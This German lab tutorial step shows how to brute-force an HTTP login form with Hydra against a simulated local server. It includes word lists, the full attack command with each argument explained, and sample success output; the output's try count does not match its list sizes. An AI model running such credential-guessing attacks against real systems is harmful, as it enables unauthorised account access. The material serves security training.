Ausführen eines grundlegenden HTTP-Angriffs
In diesem Schritt werden wir einen grundlegenden HTTP-Angriff mit Hydra durchführen. Hydra ist ein leistungsstarkes Tool zum Knacken von Passwörtern und kann verwendet werden, um die Sicherheit verschiedener Dienste, einschließlich HTTP, zu testen. Wir werden uns auf ein einfaches HTTP-Anmeldeformular konzentrieren, um die Fähigkeiten von Hydra zu demonstrieren.
Bevor wir beginnen, sollten wir einige grundlegende Konzepte verstehen:
- HTTP (Hypertext Transfer Protocol): Die Grundlage der Datenkommunikation im World Wide Web.
- Hydra: Ein parallelisierter Anmelde-Cracker, der zahlreiche Protokolle zum Angriff unterstützt.
- Ziel (Target): In unserem Fall ein Webserver mit einem Anmeldeformular.
- Benutzernamenliste (Username List): Eine Datei, die eine Liste möglicher Benutzernamen enthält.
- Passwortliste (Password List): Eine Datei, die eine Liste möglicher Passwörter enthält.
Zunächst erstellen wir eine einfache Benutzernamenliste und Passwortliste. Wir verwenden nano
, um diese Dateien im Verzeichnis ~/project
zu erstellen.
Erstellen Sie eine Datei namens users.txt
mit folgendem Inhalt:
nano ~/project/users.txt
Fügen Sie die folgenden Benutzernamen zur Datei hinzu:
admin
user
test
Speichern Sie die Datei, indem Sie Strg+X
, dann Y
und anschließend Enter
drücken.
Als Nächstes erstellen Sie eine Datei namens passwords.txt
mit folgendem Inhalt:
nano ~/project/passwords.txt
Fügen Sie die folgenden Passwörter zur Datei hinzu:
password
123456
test
Speichern Sie die Datei, indem Sie Strg+X
, dann Y
und anschließend Enter
drücken.
Nehmen wir nun an, dass wir einen Webserver auf 127.0.0.1
auf Port 80
mit einem Anmeldeformular haben. Das Formular erfordert einen Benutzernamen und ein Passwort, und die Anmeldeseite befindet sich unter /login.php
. Wir verwenden Hydra, um das Anmelden zu knacken.
Hinweis: In diesem Lab simulieren wir den HTTP-Dienst. In einer realen Welt würden Sie 127.0.0.1
durch die tatsächliche IP-Adresse oder den Domainnamen des Zielservers ersetzen.
Um den grundlegenden HTTP-Angriff auszuführen, verwenden Sie den folgenden Befehl:
hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid username or password"
Lassen Sie uns diesen Befehl analysieren:
hydra
: Der Hydra-Befehl.
-L ~/project/users.txt
: Gibt die Benutzernamenlisten-Datei an.
-P ~/project/passwords.txt
: Gibt die Passwortlisten-Datei an.
127.0.0.1
: Die Ziel-IP-Adresse.
http-post-form
: Gibt das HTTP POST-Formular-Angriffsmodul an.
"/login.php:username=^USER^&password=^PASS^:Invalid username or password"
: Gibt die Anmeldeseite, die Benutzernamen- und Passwortfelder sowie die Fehlermeldung bei fehlgeschlagenem Login an. ^USER^
und ^PASS^
sind Platzhalter, die Hydra durch Benutzernamen und Passwörter aus den Listen ersetzt.
Nachdem Sie den Befehl ausgeführt haben, wird Hydra versuchen, sich mit jeder Benutzernamen- und Passwortkombination anzumelden. Wenn ein erfolgreiches Login gefunden wird, wird Hydra den Benutzernamen und das Passwort anzeigen.
Beispielausgabe (bei Erfolg):
Hydra v9.6 (c) 2024 by van Hauser/THC - Use freely but only for legal purposes.
Hydra is starting...
[DATA] 1 task, 3 servers, 3 login tries (l:3/p:3), ~1 try per server
[DATA] attacking service http-post-form on port 80
[ATTACK] attacking 127.0.0.1:80/login.php
[80][http-post-form] host: 127.0.0.1 login: admin password: password
Diese Ausgabe zeigt an, dass Hydra erfolgreich die Kombination aus Benutzername admin
und Passwort password
gefunden hat.
Wenn kein erfolgreiches Login gefunden wird, wird Hydra ohne Anzeige von erfolgreichen Anmeldeinformationen beendet.